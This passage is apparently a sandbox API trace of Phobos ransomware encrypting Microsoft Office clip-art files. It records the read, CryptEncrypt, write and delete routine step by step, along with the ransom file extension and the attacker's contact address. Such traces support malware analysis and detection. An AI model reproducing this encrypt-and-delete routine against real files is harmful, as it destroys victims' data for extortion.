hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x690, dwBufLen=0x690 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x690) returned 1 [0061.310] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x690, lpOverlapped=0x0) returned 1 [0061.313] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cfb0) returned 1 [0061.313] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.313] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.313] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0061.313] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.313] CryptDestroyKey (hKey=0x10ce30) returned 1 [0061.313] CloseHandle (hObject=0x308) returned 1 [0061.313] CloseHandle (hObject=0x318) returned 1 [0061.314] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0061.318] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.318] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3896) returned 1 [0061.318] CloseHandle (hObject=0x318) returned 1 [0061.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0061.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.319] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.319] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.319] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0061.319] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.319] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xf38, lpOverlapped=0x0) returned 1 [0061.338] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xf40, dwBufLen=0xf40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xf40) returned 1 [0061.338] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf40, lpOverlapped=0x0) returned 1 [0061.339] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce70) returned 1 [0061.339] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.339] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.339] CryptDestroyKey (hKey=0x10ce70) returned 1 [0061.339] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.339] CryptDestroyKey (hKey=0x10caf0) returned 1 [0061.339] CloseHandle (hObject=0x318) returned 1 [0061.339] CloseHandle (hObject=0x308) returned 1 [0061.340] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0061.360] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.361] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3796) returned 1 [0061.361] CloseHandle (hObject=0x308) returned 1 [0061.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0061.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.365] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.365] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.365] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf30) returned 1 [0061.365] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.365] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xed4, lpOverlapped=0x0) returned 1 [0061.367] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xee0, dwBufLen=0xee0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xee0) returned 1 [0061.367] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xee0, lpOverlapped=0x0) returned 1 [0061.368] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce70) returned 1 [0061.368] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.368] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.368] CryptDestroyKey (hKey=0x10ce70) returned 1 [0061.368] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.368] CryptDestroyKey (hKey=0x10cf30) returned 1 [0061.368] CloseHandle (hObject=0x308) returned 1 [0061.368] CloseHandle (hObject=0x318) returned 1 [0061.369] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0061.370] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.371] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2436) returned 1 [0061.371] CloseHandle (hObject=0x318) returned 1 [0061.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0061.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.371] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.371] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.371] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d070) returned 1 [0061.371] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.371] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x984, lpOverlapped=0x0) returned 1 [0061.385] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x990, dwBufLen=0x990 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x990) returned 1 [0061.385] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x990, lpOverlapped=0x0) returned 1 [0061.386] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cdf0) returned 1 [0061.386] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.386] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.386] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.386] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.386] CryptDestroyKey (hKey=0x10d070) returned 1 [0061.386] CloseHandle (hObject=0x318) returned 1 [0061.386] CloseHandle (hObject=0x308) returned 1 [0061.387] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0061.388] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.388] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=2732) returned 1 [0061.388] CloseHandle (hObject=0x308) returned 1 [0061.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0061.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.389] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.389] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.389] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce70) returned 1 [0061.389] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.389] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xaac, lpOverlapped=0x0) returned 1 [0061.749] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xab0, dwBufLen=0xab0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xab0) returned 1 [0061.749] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xab0, lpOverlapped=0x0) returned 1 [0061.750] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cff0) returned 1 [0061.750] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.750] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.750] CryptDestroyKey (hKey=0x10cff0) returned 1 [0061.750] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.750] CryptDestroyKey (hKey=0x10ce70) returned 1 [0061.750] CloseHandle (hObject=0x308) returned 1 [0061.751] CloseHandle (hObject=0x318) returned 1 [0061.751] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0061.753] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.754] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=10538) returned 1 [0061.754] CloseHandle (hObject=0x318) returned 1 [0061.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0061.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.754] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.754] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0061.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.755] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf30) returned 1 [0061.755] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.755] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x292a, lpOverlapped=0x0) returned 1 [0061.777] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2930, dwBufLen=0x2930 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2930) returned 1 [0061.777] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2930, lpOverlapped=0x0) returned 1 [0061.778] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10caf0) returned 1 [0061.778] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0061.778] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0061.778] CryptDestroyKey (hKey=0x10caf0) returned 1 [0061.778] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0061.778] CryptDestroyKey (hKey=0x10cf30) returned 1 [0061.778] CloseHandle (hObject=0x318) returned 1 [0061.778] CloseHandle (hObject=0x308) returned 1 [0061.780] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0061.781] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0061.781] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0061.782] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4236) returned 1 [0061.782] CloseHandle (hObject=0x308) returned 1 [0061.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program 